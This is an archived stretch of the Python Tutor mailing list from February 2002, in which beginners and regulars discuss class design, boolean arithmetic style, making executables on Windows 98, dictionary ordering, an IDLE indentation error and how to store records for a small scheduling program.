containing a list of dictionary instances, which is a somewhat exotic data structure. I think a more "normal" implementation of this idea would be to have a dictionary of objects when done, with each object corresponding to a record in the original file. An object is *like* a dictionary, and could have properties like jobname or whatever corresponds to the fields in your DBF. In pseudocode: myrecords = {} class Record: def __init__(self, jobname, other1, other2....): # or you could pass a dictionary as an arg self.jobname = jobname self.other1 = other1 self.other2 = other2 def createRecords(filename): global myrecords f = open(filename) lines = f.readlines() for line in lines: values = parseLine(line) # here we presume values[0] is unique myrecords[values[0]] = Record(values) But even this might be overkill. It all depends on what you're planning to do with all this data. Kirby PS: for posting to tutor, best to post in plaintext only. You had some proportional font going, which makes it harder to read the code (some people say we should get used to coding in proportional types, but that's advice I think most programmers thankfully ignore). From paulsid@shaw.ca Thu Feb 21 04:56:17 2002 From: paulsid@shaw.ca (Paul Sidorsky) Date: Wed, 20 Feb 2002 21:56:17 -0700 Subject: [Tutor] Function return References: <4.2.0.58.20020220195653.0094f610@pop3.norton.antivirus> Message-ID: <3C747DF1.38C7E771@shaw.ca> Earlier, Paul Hartley wrote: > However I was trying to get at the records and fields and tried to > return the records array from a function because in > prevous languages I read that it is better to wrap data in a class > around a function rather than accessing the data > directly and my program fell over when I tried to return > self.records in the code below (see the function getRecords Then Kirby Urner wrote: > A comment on style: I think using a class to wrap the the > functionality needed to read some fixed length records is overkill > in this example. What you get at the end of the day is a single > instance containing a list of dictionary instances, which is > a somewhat exotic data structure. Agreed, but it's a darn nice way to learn classes. The main problem with classes is most people have to write them to learn them, but most things worthy of classes are too complicated to make learning practical. I think I mentioned this some time ago, but forcing yourself to use classes for a trivial situation is probably the best way to learn them. However, implementing things with classes just because one of those gung-ho Object Oriented Design books tells you it's the only way things should be done is of course a Very Bad Thing. OO is not the end-all-and-be-all of design paradigms, despite what some books try to get you to believe. It has its place, but I know from personal experience than attempting to use it for every little chore is enough to drive one insane. (Unless C has warped my mind so much that I already am insane.) Personally I have a much easier time understanding a good non-OO implementation of something then I do with a bad OO implementation of it. So if I can't work out how to do something cleanly with OO then I just don't use it. Since all of my programs are small- or medium-scale and I'm the only one working on them, it's not a big deal. Of course if you have to write a big program or one that's going to be worked on by a team then OO will probably make things a lot easier. Otherwise, use what you are comfortable with. -- ====================================================================== Paul Sidorsky Calgary, Canada paulsid@shaw.ca http://members.shaw.ca/paulsid/ From dyoo@hkn.eecs.berkeley.edu Thu Feb 21 06:02:52 2002 From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo) Date: Wed, 20 Feb 2002 22:02:52 -0800 (PST) Subject: [Tutor] Re: [Edu-sig] style question In-Reply-To: <4.2.0.58.20020220155115.01aa6230@pop3.norton.antivirus> Message-ID: On Wed, 20 Feb 2002, Kirby Urner wrote: > At 12:10 AM 2/21/2002 +0100, Remco Gerlich wrote: > >On 0, "Michael P. Reilly" wrote: > > > However, it is still a "bad idea" to add boolean values. > > > >However, a%2 isn't a boolean just because it's either 0 or 1. It's the > >remainder if a is divided by 2. And the sum of those remainders is > >obviously the number of nubmers that were odd. > > In the example being criticized (mine), I was going > a%2==1, getting a boolean to count evens, which is > what we wanted to count, not the number of odds. > > But the proposed alternative used the same boolean test, but filtered > out the falses, counting the number of remainders. What I'm not > getting is why adding 1s is worse than filtering out 0s and counting > how many are left. [warning; code below contains Java. Avert your eyes! *grin*] Certain languages have a specific 'boolean' type that is distinct from any other values. Let's look at the code again: ### def check(testlist): return reduce(add,[i%2==0 for i in testlist]) ### I think Arcage's point was that the expression 'i % 2 == 0' is supposed to be a "boolean", something that's either true or false. We know that Python gives back to us '1' if the expression is true, and '0' otherwise. However, not all programming languages work this way! In many cases, 'true' and 'false' are not numeric. Java, for example, is very strict about forcing us to be mind-numbingly exact about things. In PseudoJava, the check() function might look something like this: ////// PseudoJava static public int check(int[] testlist) { int sum = 0; for(int index = 0; index < testlist.length; i++) { if (i % 2 == 0) { sum = sum + 1; } // I'm somewhat exaggerating the boringness here. We can // actually do something like: // sum = sum + (i % 2 == 0 ? 1 : 0); // to convert the boolean back to an integer that's safe to // add. } return sum; } ////// The proposed alternative: ### how_many_evens = len( filter(lambda i, i%2==0, testlist) ) ### avoids the issue altogether by not adding "booleans". Personally, I think it's ok to add booleans; I feel it's fairly safe to assme that equality testing returns an integer. Hope this helps! From jonikas@ldr.lt Thu Feb 21 07:09:50 2002 From: jonikas@ldr.lt (Jonikas Valdemaras) Date: Thu, 21 Feb 2002 09:09:50 +0200 Subject: [Tutor] How do we make a program to be executed... References: Message-ID: <014601c1baa6$c0ff7870$12f6c50a@LDR.local> > Hi again, > > Now that I've wrote a small program, I want to know how can I make it an > executable program. I mean how do I make it a complete program that we only > need to exe its icon and not getting into the code and run script. I hope > you do understand me. Hi, What kind of OS do you use? Regards, Valdas From urnerk@qwest.net Thu Feb 21 07:22:32 2002 From: urnerk@qwest.net (Kirby Urner) Date: Wed, 20 Feb 2002 23:22:32 -0800 Subject: [Tutor] Function return In-Reply-To: <3C747DF1.38C7E771@shaw.ca> References: <4.2.0.58.20020220195653.0094f610@pop3.norton.antivirus> Message-ID: <4.2.0.58.20020220231930.00cec600@pop3.norton.antivirus> At 09:56 PM 2/20/2002 -0700, Paul Sidorsky wrote: >Then Kirby Urner wrote: > > > A comment on style: I think using a class to wrap the the > > functionality needed to read some fixed length records is overkill > > in this example. <> >Agreed, but it's a darn nice way to learn classes. <> But note in the alternative implementation I suggested, I still used a class -- albiet as little more than a record structure. That's actually a good first step towards using classes -- just see them as groups of properties and add methods later. If the plan were to change data or do some computation on it, then we could go on to furnish the class with methods. Kirby From thanos@internet.gr Thu Feb 21 08:04:57 2002 From: thanos@internet.gr (Thanos) Date: Thu, 21 Feb 2002 10:04:57 +0200 Subject: [Tutor] How do we make a program to be executed... References: <014601c1baa6$c0ff7870$12f6c50a@LDR.local> Message-ID: <006801c1baae$7587e280$0601a8c0@NUOVA> Win98, and the python 2.1.2 version. Thanks, Thanos ----- Original Message ----- From: "Jonikas Valdemaras" To: Sent: Thursday, February 21, 2002 9:09 AM Subject: Re: [Tutor] How do we make a program to be executed... > > Hi again, > > > > Now that I've wrote a small program, I want to know how can I make it an > > executable program. I mean how do I make it a complete program that we > only > > need to exe its icon and not getting into the code and run script. I hope > > you do understand me. > > Hi, > > What kind of OS do you use? > > Regards, > Valdas > > > _______________________________________________ > Tutor maillist - Tutor@python.org > http://mail.python.org/mailman/listinfo/tutor From urnerk@qwest.net Thu Feb 21 08:51:15 2002 From: urnerk@qwest.net (Kirby Urner) Date: Thu, 21 Feb 2002 00:51:15 -0800 Subject: [Tutor] How do we make a program to be executed... In-Reply-To: <006801c1baae$7587e280$0601a8c0@NUOVA> References: <014601c1baa6$c0ff7870$12f6c50a@LDR.local> Message-ID: <4.2.0.58.20020221003430.00caf460@pop3.norton.antivirus> At 10:04 AM 2/21/2002 +0200, Thanos wrote: >Win98, and the python 2.1.2 version. >Thanks, >Thanos The short answer is Python doesn't compile, as it's an interpreted language and needs a runtime library (as the Microsoft people call it). This is similar to Visual Basic and Visual FoxPro and others, which also need runtimes (sometimes several megabytes of .dll files). And even C/C++ usually relies on external libraries such as msvcr70.dll and numerous other msvcr*.dll you'll find in your c:\windows\system. So the whole idea of a true "standalone" exe file is a bit of a myth -- they exist of course, but are less common that one might suppose. In any case, there's a minimal set of files a target computer needs, to run anything you've written in Python. If you don't want to share source code, you can just transfer the .pyc files. If you're using Tk or another widget tool, then there's that whole business to worry about. There's a utility out there that'll bundle your python program with the necessary dll runtime stuff into a big exe file (sorry, I've never used it). But you don't want each little python script to get that whole big add-on bundled with it each time. A better approach is to keep the dll stuff unbundled, so everything you write can share it. But in my opinion, really the best solution is to install a full Python x.x on any target machine on which you plan to run .pyc or .py (or .pyd) files. That's not the "Microsoft way" of course, as MSFT charges money for the developer platform, and then makes the runtime piece royalty free (distributable by the developer). But all of core Python is free, so you might just as well set up any target machine as an optional development platform, even if the user never intends to use it that way. It takes an adjustment in thinking: welcome to open source. OK, so that turned out to be the long answer. And I probably missed what you really wanted. Maybe others will do better on that score (so far, I've always followed my own advice and just put a full Python on any target). Kirby From jonikas@ldr.lt Thu Feb 21 09:35:34 2002 From: jonikas@ldr.lt (Jonikas Valdemaras) Date: Thu, 21 Feb 2002 11:35:34 +0200 Subject: [Tutor] Python in 24 hours more like 24 years References: <20020220214039.GH12173@johnsons-web.com> Message-ID: <019d01c1babb$1d0f09a0$12f6c50a@LDR.local> Many thanks for all answers, I'm slightly depressed :) because Laningham's book is the only choice in ours. So, I can't get your recommended books. If I understood correctly, not bad way (at least better than Laningham's book :) would be to use tutolias from www.python.org. Correct? Regards, Valdas From thanos@internet.gr Thu Feb 21 11:03:59 2002 From: thanos@internet.gr (Thanos) Date: Thu, 21 Feb 2002 13:03:59 +0200 Subject: [Tutor] How do we make a program to be executed... References: <014601c1baa6$c0ff7870$12f6c50a@LDR.local> <006801c1baae$7587e280$0601a8c0@NUOVA> <01f501c1bac1$2a596280$12f6c50a@LDR.local> Message-ID: <000701c1bac7$785b6b80$0601a8c0@NUOVA> Hi Valdas, I think I understood how it works. When I made a copy of the program at my desktop and double-clicked it, it was executed in a like-dos environment, not idle-gui mode and after its execution it automatically shut down this command line mode. When I open it through idle-gui mode it opens the code of course! How dum I was! Forgive my ignorance but I'm very very new in programming... I'll be back soon! With our friendliest regards, Thanos ----- Original Message ----- From: "Jonikas Valdemaras" To: "Thanos" Sent: Thursday, February 21, 2002 12:18 PM Subject: Re: [Tutor] How do we make a program to be executed... > > Win98, and the python 2.1.2 version. > > Thanks, > > Thanos > > If I understood correctly, you would like > to double-click icon to run Python program? > If yes, have you get any error messages etc. > after double-clicking? > I've tested Python 2.2 on Win'98 right > now and everything is OK (could you > try to use Python 2.2?). > Anyway, I will try to look into some books > (later today) and tomorrow I will send you an > information I find. Please mail me if > you will find any solution earlier :) > > Sorry for my bad English. > Regards, > Valdas > From alan.gauld@bt.com Thu Feb 21 11:45:41 2002 From: alan.gauld@bt.com (alan.gauld@bt.com) Date: Thu, 21 Feb 2002 11:45:41 -0000 Subject: [Tutor] style question Message-ID: <5104D4DBC598D211B5FE0000F8FE7EB20E66C3B6@mbtlipnt02.btlabs.bt.co.uk> > some feedbakc. Let's say you have a task of finding out how many of 5 > positive integer numbers (a-e) are even. Which (if either) of the two > codes would be preferred: > > # {option A} > odd=a%2+b%2+c%2+d%2+e%2 > even=5-odd Yech! I don't like this under any circumstance. If I really wanted to do it in two lines I'd try something like: >>> count = 0 >>> L = [a,b,c,d,e] >>> for n in L: if n%2: count += 1 > # {option B} > if a%2==0: > even = even + 1 > if b%2==0: > even = even + 1 > if c%2==0: > even = even + 1 > if d%2==0: > even = even + 1 > if e%2==0: > even = even + 1 This is the same as above but writing the loop longhand... > Is option A guilty of relying on the "side effect" of mod 2 > being a 1 or zero or is this a desireable/understandable > use of this function's return It's an acceptable use but just plain obtuse. The minor gain in performance over the loop doesn't justify the loss of readability IMHO. Alan g From alan.gauld@bt.com Thu Feb 21 11:56:47 2002 From: alan.gauld@bt.com (alan.gauld@bt.com) Date: Thu, 21 Feb 2002 11:56:47 -0000 Subject: [Tutor] How do we make a program to be executed... Message-ID: <5104D4DBC598D211B5FE0000F8FE7EB20E66C3B7@mbtlipnt02.btlabs.bt.co.uk> > make it an executable program. > I mean how do I make it a complete program that we only > need to exe its icon and not getting into the code and run > script. If the file associations are set correctly on Windows (and they should be by the installer) then you only need to double click the icon in explorere and it will run. [ If on Unix then set the shebang line to point at python for the same effect] There are tools around for converting a python program into an exe file by bundling the interpreter and libraries with your script etc but personally I'd rather just install Python along with my script... > Furthermore, could you please tell me how do we clear the > screen (cls)? Again this depends on the OS in use. Assuming Windows then the simplest way is import os os.system('cls') However I have occasionally had strange error messages when doing this - but it seems to work most times... Alan g. From alan.gauld@bt.com Thu Feb 21 12:07:27 2002 From: alan.gauld@bt.com (alan.gauld@bt.com) Date: Thu, 21 Feb 2002 12:07:27 -0000 Subject: [Tutor] Function return Message-ID: <5104D4DBC598D211B5FE0000F8FE7EB20E66C3B8@mbtlipnt02.btlabs.bt.co.uk> if __name__ == "__main__": closed = closedRecords("closed.001", "LIS00139") print 'No records', closed.noRecords() recs = closed.getRecords <-- Needs to be closedRecord() ie with parens Otherwise it looks OK to me... Alan g From alan.gauld@bt.com Thu Feb 21 12:11:44 2002 From: alan.gauld@bt.com (alan.gauld@bt.com) Date: Thu, 21 Feb 2002 12:11:44 -0000 Subject: [Tutor] dictionaries Message-ID: <5104D4DBC598D211B5FE0000F8FE7EB20E66C3B9@mbtlipnt02.btlabs.bt.co.uk> > I would like to know why the C part of my dictionary when I > update it from the 2nd one goes before B. >>> x = "C" >>> y = "3" >>> dict2 = {x:y} >>> dict.update(dict2) >>> dict > {'A': '1', 'C': '3', 'B': '2'} Dictionaries do not guarantee order. Its part of the characteristics of a dictionary(or hash table). Thats why if you want to process a dictionary in order you have to get the keys into a list and then sort them: for key in mydict.keys().sort(): # process mydict[key] If you want the full explanation look up a text book on how hash tables work! Alan g From wheelege@hotmail.com Thu Feb 21 12:15:12 2002 From: wheelege@hotmail.com (Glen Wheeler) Date: Thu, 21 Feb 2002 23:15:12 +1100 Subject: [Tutor] How do we make a program to be executed... References: <014601c1baa6$c0ff7870$12f6c50a@LDR.local> <4.2.0.58.20020221003430.00caf460@pop3.norton.antivirus> Message-ID: > At 10:04 AM 2/21/2002 +0200, Thanos wrote: > > >Win98, and the python 2.1.2 version. > >Thanks, > >Thanos > I lost the rest of the thread :) But I've been compiling python programs into stand-alone packages for soem time now. It seems that the easiest way to get people to try your program is to tell them to 'double click on it' instead of 'connect to the net...go to python.org...download python... (by this time they have decided not to try it) etc'. I've found py2exe (http://starship.python.net/crew/theller/py2exe/) to be a great program for doing this, but perhaps a little bit of overkill for you atm. Visit the site, have a look around, and know that if you need to run a python program without the script handy, it's easy :). HTH, Glen From charlie@begeistert.org Thu Feb 21 13:34:41 2002 From: charlie@begeistert.org (Charlie Clark) Date: Thu, 21 Feb 2002 08:34:41 -0500 Subject: [Tutor] The print ogre Message-ID: <53190134835-BeMail@gormenghast> >I've used it. The idea of directly printing to a file isn't the >problem. There are times when it's downright handy. It's the syntax >that's ogreish (yes that really is a word). But I've used far uglier >constructs in other languages so I can live with print >>. .. >The trouble is by keeping quiet about it we turn it into the Python >equivalent of a Playboy magazine. Sooner or later the newbies are going >to find it on our bookshelves and then they'll be pulling it out way >more times than they should! Good analogy. It is indeed the syntax which smells. "print >>" feels like a file method but looks like a perl throwback. Where else does ">>" occur in Python=3F This is a case of an inefficient signifier. "file.print" would be clear and consistent but I don't see anybody going for this quickly seeing as "print >>" was only introduced in Python 1.6. Or could we go for a PEP=3F Charlie From arcege@speakeasy.net Thu Feb 21 13:39:17 2002 From: arcege@speakeasy.net (Michael P. Reilly) Date: Thu, 21 Feb 2002 08:39:17 -0500 Subject: [Tutor] Re: [Edu-sig] style question In-Reply-To: <4.2.0.58.20020220154914.01aaa9d0@pop3.norton.antivirus>; from urnerk@qwest.net on Wed, Feb 20, 2002 at 03:50:44PM -0800 References: <4.2.0.58.20020220135745.01af8140@pop3.norton.antivirus> <20020220180104.A899@speakeasy.net> <4.2.0.58.20020220154914.01aaa9d0@pop3.norton.antivirus> Message-ID: <20020221083917.B899@speakeasy.net> On Wed, Feb 20, 2002 at 03:50:44PM -0800, Kirby Urner wrote: > > > > >What's better is to get the length of the list where the value is true. > > > >how_many_evens = len( filter(lambda i, i%2==0, testlist) ) > > > > -Arcege > > As yet, I don't get the real difference between getting the > length by filtering on i%2==0, and adding the 1s in > reduce(add,[i%2==0 for i in testlist]). I'm missing some > subtle point. There are two points here that I've made. One was pretty much hidden, but I'll expand on it a bit. The other is technical, but not as subtle. The technical first since it is more straight-forward. Given the following code: $ cat try.py #!/opt/local/bin/python2.1 import operator class N: def __init__(self, n): self._n = n def __repr__(self): return 'N(%d)' % self._n def __mod__(self, other): return self.__class__(self._n % other) def __eq__(self, other): """Return a scaled truth value that will be used for other reasons.""" return (self._n == other) and 100 or 0 def evenp(i): return i % 2 == 0 numbers = map(N, range(10)) print numbers print filter(evenp, numbers) print map(evenp, numbers) print reduce(operator.add, map(evenp, numbers)) $ python2.1 try.py [N(0), N(1), N(2), N(3), N(4), N(5), N(6), N(7), N(8), N(9)] [N(0), N(2), N(4), N(6), N(8)] [100, 0, 100, 0, 100, 0, 100, 0, 100, 0] 500 $ Right now, your code might be okay. But later on, if you use the same mechanism (addition of a boolean) with some other "integer" object, then you could easily run into problems. The class itself is fine and follows all the rules, the algorithm for counting the number of true values is flawed. Now lets say that I change the __eq__ method to: def __eq__(self, other): return (self._n == other) and "true" or "" It is still valid, but you'd get "truetruetrueutruetrue" instead of 5. The less subtle point is one of code readability and code longevity. Someone may have to read some future code that you write someday. This used to be a major problem with Perl web programming (and probably still is) - using language "tricks" that let you do things, but that people look at and wonder "why." Let's use one of the original working mechanisms someone contributed: def count_evens(list): from operator import add return reduce(add, [i%2==0 for i in list]) Someone who does not normally think of 'boolean arithmetic' (as opposed to 'boolean algebra') would probably think that you are trying to add actual integer values and not booleans and assume that the '==' operator is a bug in your code. Using 'boolean arithmetic' is against most algorithms, so when most people see it, they'll probably think it is not what you meant and try to figure out what it is doing. I hope this is sufficiently long winded enough. I have to run to a doctor's appointment anyway. -Arcege From charlie@begeistert.org Thu Feb 21 13:49:31 2002 From: charlie@begeistert.org (Charlie Clark) Date: Thu, 21 Feb 2002 08:49:31 -0500 Subject: [Tutor] Creating typed files with Python, BeOS (OT) Message-ID: <54080016009-BeMail@gormenghast> >Dear Python people, > >How can you tell Python to make a simple text file or to make a kind of file >with your own kind of extension=3F I have looked around in books I have, and >online. I have only found stuff about how to open and close and recieve >input from. I don't know enough about file creation and operating systems >to know I guess how to tell Python to do it. Creating typed files depends on the operating system's support for file types. Extensions are not the same as file types!!! Python will let you create files with any name as long as it is allowd by the operating system: f =3D open("ourfile", "w") Giving textfiles a ".txt" extension is purely a convention required for primitive file systems such as FAT/ NTFS or Posix. Removing or changing the extension can make such files unreadable on that system. Some file systems such as the BFS provide sophisticated file typing and Python can hook into this. Bear in mind that this is platform specific The following code creates an e-mail file in BeOS from BeOS.fsattr import write=5Fattr newfile =3D "newfile.mail" # creat an empty file f =3D open(newfile, "w") f.close() #give our new file a file type write=5Fattr(newfile, "BEOS:TYPE", B=5FMIME=5FSTRING=5FTYPE, "text/x-email\0", 0) Our file "newfile.mail" now has the MIME-type "text/x-email". E-mail files are a subset of textfiles and can be read by any text editor or mail program independent of the file extension. Charlie From markus-wt@gmx.de Thu Feb 21 14:23:36 2002 From: markus-wt@gmx.de (Markus Wessel-Therhorn) Date: Thu, 21 Feb 2002 15:23:36 +0100 (MET) Subject: [Tutor] Strange error Message-ID: <11962.1014301416@www27.gmx.net> Hi folks. I started learning python about a week ago and I found a strange problem. please look at this code: >>> a = 1 >>> b = 2 >>> if a > b: print "a > b" elif a < b: SyntaxError: invalid syntax >>> As the source for the error he points to the "elif". Is this problem somehow connected with IDLE or did i just make a misstake? i did it exactly like in the tutorial and I got no idea why it does not work. Would be very nice if someone could help me, Markus -- GMX - Die Kommunikationsplattform im Internet. http://www.gmx.net From scarblac@pino.selwerd.nl Thu Feb 21 14:28:38 2002 From: scarblac@pino.selwerd.nl (Remco Gerlich) Date: Thu, 21 Feb 2002 15:28:38 +0100 Subject: [Tutor] Strange error In-Reply-To: <11962.1014301416@www27.gmx.net>; from markus-wt@gmx.de on Thu, Feb 21, 2002 at 03:23:36PM +0100 References: <11962.1014301416@www27.gmx.net> Message-ID: <20020221152838.A14363@pino.selwerd.nl> On 0, Markus Wessel-Therhorn wrote: > Hi folks. > I started learning python about a week ago and I found a strange problem. > please look at this code: > > >>> a = 1 > >>> b = 2 > >>> if a > b: > print "a > b" > elif a < b: > > SyntaxError: invalid syntax > >>> > > As the source for the error he points to the "elif". Is this problem somehow > connected with IDLE or did i just make a misstake? i did it exactly like in > the tutorial and I got no idea why it does not work. > Would be very nice if someone could help me, Probably an indentation error. You need to indent the "print" line, put a few spaces before it to show that it is the block that follows the if: command. The elif: line then should be at the same level as the if: command, like if a > b: print "a > b" elif a < b: print "etc" -- Remco Gerlich From urnerk@qwest.net Thu Feb 21 15:18:38 2002 From: urnerk@qwest.net (Kirby Urner) Date: Thu, 21 Feb 2002 07:18:38 -0800 Subject: [Tutor] Re: [Edu-sig] style question In-Reply-To: References: <4.2.0.58.20020220155115.01aa6230@pop3.norton.antivirus> Message-ID: <4.2.0.58.20020221070636.00cfaf00@pop3.norton.antivirus> > >Personally, I think it's ok to add booleans; I feel it's >fairly safe to assme that equality testing returns an integer. OK, and I get the subtle difference now. I'd likely still go for a list comprehension over a map-lambda, esp. when teaching newcomers. Call me lazy. And note: if we're so paranoid as to distrust that == might be reliable, given it can be overridden by an object, so might % be overidden, messing up the filter- based test as well: >>> class T: def __init__(self,val): self.val = val def __eq__(self,other): return self.val == other.val def __mod__(self,other): return 0 def __repr__(self): return str(self.val) >>> t0 = T(1) >>> t1 = T(45) >>> [t0,t1] # so, no evens, yes? [1, 45] >>> len(filter(None,[i%2==0 for i in [t0,t1]])) # think again! 2 Just can't be too careful. :-D Kirby From israel@lith.com Thu Feb 21 15:21:04 2002 From: israel@lith.com (Israel Evans) Date: Thu, 21 Feb 2002 07:21:04 -0800 Subject: [Tutor] Creating and storing objects from a GUI... Message-ID: This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C1BAEB.630022DE Content-Type: text/plain Hello there Tutor List. I'm in the midst of designing a program that will be creating new instances of a number of classes and then storing that information somehow. I'm in a little bit of a quandary as to how I should go about this. There are so many options! I'm still rather inexperienced at this sort of thing so I'm having a tough time knowing the "right" way to do a number of things. I know that "right" is rather subjective based on one's needs, but if anyone has any "more right than wrong" sorts of answers, I would be most appreciative. I'd like to display the information in a variety of ways, and I'd like to be able to do searches, and queries in a variety of ways, so I'm thinking that XML saved in a Database of some sorts might be nice, but would it just be simpler and take up less space to save things off in plain text format, or even pickle the objects I create? What are the benefits of using the ZODB over a relational DB like PostgreSQL, or MySQL? This program is expected to retain records of transactions and appointments for quite a long time and the sheer volume of them may get up there in size over time. If my little program doesn't cut it in the end, I'd still like to be able to easily migrate the date elsewhere. What choices have you made in situations like these? Thanks, ~Israel~ ------_=_NextPart_001_01C1BAEB.630022DE Content-Type: text/html Content-Transfer-Encoding: quoted-printable

 

Hello there Tutor List.

 

I'm in the midst of designing a program that will be creating new instances of a number of classes and then storing that = information somehow.  I'm in a little = bit of a quandary as to how I should go about this.  There are so many = options!  I'm still rather inexperienced = at this sort of thing so I'm having a tough time knowing the "right" way to do a number of things.  = I know that "right" is rather subjective based on one's needs, but if anyone has any "more right than wrong" sorts of answers, I would be most appreciative.

 

I'd like to display the information in a variety of ways, and I'd like to be able to do searches, and queries in a variety = of ways, so I'm thinking that XML saved in a Database of some sorts might = be nice, but would it just be simpler and take up less space to save = things off in plain text format, or even pickle the objects I create?  

 

What are the benefits of using the ZODB over a = relational DB like PostgreSQL, or MySQL?

This program is expected to retain records of = transactions and appointments for quite a long time and the sheer volume of them may = get up there in size over time.  = If my little program doesn't cut it in the end, I'd still like to be able to easily migrate the date elsewhere.

 

What choices have you made in situations like = these?

 

Thanks,

 

~Israel<= font size=3D2 face=3D"Courier New">~

 

------_=_NextPart_001_01C1BAEB.630022DE-- From urnerk@qwest.net Thu Feb 21 15:33:40 2002 From: urnerk@qwest.net (Kirby Urner) Date: Thu, 21 Feb 2002 07:33:40 -0800 Subject: [Tutor] Re: [Edu-sig] style question In-Reply-To: <20020221083917.B899@speakeasy.net> References: <4.2.0.58.20020220154914.01aaa9d0@pop3.norton.antivirus> <4.2.0.58.20020220135745.01af8140@pop3.norton.antivirus> <20020220180104.A899@speakeasy.net> <4.2.0.58.20020220154914.01aaa9d0@pop3.norton.antivirus> Message-ID: <4.2.0.58.20020221072206.00ac4ef0@pop3.norton.antivirus> > >I hope this is sufficiently long winded enough. I have to run to a >doctor's appointment anyway. > > -Arcege Yes, I understand now. The filter approach is indeed safer and probably more readable. If used my reduce approach, I should at least flag the trick with a comment. My earlier objection was if you go so far as to assume an object messes with __eq__, you might as well imagine it messes with __mod__ as well -- and that'd break the filter method too. You showed where the programmer might have some authentic, if misguided, need to return 'true' or 100 instead of 1, whereas my messing with % was just evil. On the other hand, one can imagine an equally misguided, yet well-meaning programmer who thinks % is obscure enough to be fair game for overriding in objects that otherwise behave like integers. Moral: there's only so far you can go to compensate for what others might do with objects. Kirby From urnerk@qwest.net Thu Feb 21 15:43:55 2002 From: urnerk@qwest.net (Kirby Urner) Date: Thu, 21 Feb 2002 07:43:55 -0800 Subject: [Tutor] Creating and storing objects from a GUI... In-Reply-To: Message-ID: <4.2.0.58.20020221073621.00d11270@pop3.norton.antivirus> > >What choices have you made in situations like these? > > > >Thanks, > > > >~Israel~ How about just a classic RDBMS (relational database) with field types. Then you've got SQL (way powerful) and portability (dumping tables to files no problem -- nothing pickled). If you want to code using objects, those could be formed during read-in of specific records, e.g. screen fields might map to myrecord.firstname and myrecord.lastname where myrecord is an instance. That way you could stick validation code in your parent class as methods e.g. myrecord.updateHomePhone() would make sure this was a legal phone number etc. myrecord.write() might update the appropriate table, having all the right SQL syntax and connectivity objects internally. Anyway, that's one idea. Kirby From scarblac@pino.selwerd.nl Thu Feb 21 15:44:52 2002 From: scarblac@pino.selwerd.nl (Remco Gerlich) Date: Thu, 21 Feb 2002 16:44:52 +0100 Subject: [Tutor] Creating and storing objects from a GUI... In-Reply-To: ; from israel@lith.com on Thu, Feb 21, 2002 at 07:21:04AM -0800 References: Message-ID: <20020221164452.A14768@pino.selwerd.nl> On 0, Israel Evans wrote: > I'm in the midst of designing a program that will be creating new instances > of a number of classes and then storing that information somehow. I'm in a > little bit of a quandary as to how I should go about this. There are so > many options! I'm still rather inexperienced at this sort of thing so I'm > having a tough time knowing the "right" way to do a number of things. I > know that "right" is rather subjective based on one's needs, but if anyone > has any "more right than wrong" sorts of answers, I would be most > appreciative. > > I'd like to display the information in a variety of ways, and I'd like to be > able to do searches, and queries in a variety of ways, so I'm thinking that > XML saved in a Database of some sorts might be nice, but would it just be > simpler and take up less space to save things off in plain text format, or > even pickle the objects I create? It depends :) How is your program used, how many records, that sort of thing. There is a rule of extreme programming that I like: do the simplest thing that can possibly work. If after a while it turns out you need something heavier, you can code and then and move the data over. You might have to make the system more complicated later, but half the time it turns out it's not necessary after all, and much of the rest of the time your program has been completely redesigned by that later time anyway. So for one thing, XML in a database sounds like too much to me. Why the XML? Most things should fit into a database table without XML stuff, and would be far easier to search. Pickle is probably the simplest thing that works, it's very easy to use. It has a dictionary style interface, so you can only search very fast on the key you use to index the pickle, but if the number of objects isn't that large (say, a few thousand) then you can just loop through them. A problem with pickle is concurrency. If your program has multiple threads, or multiple copies of the program will be using the same pickle file at the same time, there will be problems. If there are any issues like this, pickle is out, and databases immediately look good. I'm not certain it's a problem, but I would be very surprised if it wasn't. > What are the benefits of using the ZODB over a relational DB like > PostgreSQL, or MySQL? I don't know. I believe it organizes the data differently; your data can probably be represented by means of tables, then you want a relational DB. > This program is expected to retain records of transactions and appointments > for quite a long time and the sheer volume of them may get up there in size > over time. If my little program doesn't cut it in the end, I'd still like > to be able to easily migrate the date elsewhere. Whatever you choose, it shouldn't be hard to just read out the data and put it into the new solution whenever you change it. If there are no concurrency problems, I'd just use pickle for now. Think carefully of which functionality you need, write functions for that, that use pickle internally, so that if you change to a database, only those functions need changing. Just my thoughts - I don't have much experience in this area, so these are pretty generic comments. -- Remco Gerlich From israel@lith.com Thu Feb 21 16:00:52 2002 From: israel@lith.com (Israel Evans) Date: Thu, 21 Feb 2002 08:00:52 -0800 Subject: [Tutor] Creating and storing objects from a GUI... Message-ID: I was thinking SQL would be nice, but due to my ignorance, databases, still feel a little like a black box to me. I'll have to do a little more research into them. What's your opinion on the mixing of XML and RDBMS? Would data stored in a Database be saved in table/cell format and then extracted to an XML format through XSLT in order to be displayed elsewhere, or would the database store the data already in XML? I like the promised flexibility of XML but WOW, the multitudes of specifications and formats and so on is overwhelming! Would you in your right mind mingle XML and an RDBMS? Would I be better off saving the atomized data into the RDBMS and crafting a number of translation engines for each of the formats I want to display the information in? Also in response to Remco's (that's a cool name) response, it sounds like a good idea to try and modularize the project. So that the functions that process, parse, display, read, write the data are all separate so that when things change I only have to change the way one process works rather than redesigning and rerouting every function to point to the new stuff. I like the idea of keeping things as simple as possible, but the options and cool choices are terribly, temptingly distracting. The program I'm working on is for my wife's dance studio. It's a sort of scheduler/calendar/salary tracker for students and staff. I could probably buy something that would work right away, but how fun would that be? :) ~Israel~ -----Original Message----- From: Kirby Urner [mailto:urnerk@qwest.net] Sent: 21 February 2002 7:44 AM To: Israel Evans Cc: tutor@python.org Subject: Re: [Tutor] Creating and storing objects from a GUI... > >What choices have you made in situations like these? > > > >Thanks, > > > >~Israel~ How about just a classic RDBMS (relational database) with field types. Then you've got SQL (way powerful) and portability (dumping tables to files no problem -- nothing pickled). If you want to code using objects, those could be formed during read-in of specific records, e.g. screen fields might map to myrecord.firstname and myrecord.lastname where myrecord is an instance. That way you could stick validation code in your parent class as methods e.g. myrecord.updateHomePhone() would make sure this was a legal phone number etc. myrecord.write() might update the appropriate table, having all the right SQL syntax and connectivity objects internally. Anyway, that's one idea. Kirby _______________________________________________ Tutor maillist - Tutor@python.org http://mail.python.org/mailman/listinfo/tutor From dsh8290@rit.edu Thu Feb 21 16:23:35 2002 From: dsh8290@rit.edu (dman) Date: Thu, 21 Feb 2002 11:23:35 -0500 Subject: [Tutor] The print ogre In-Reply-To: <53190134835-BeMail@gormenghast> References: <53190134835-BeMail@gormenghast> Message-ID: 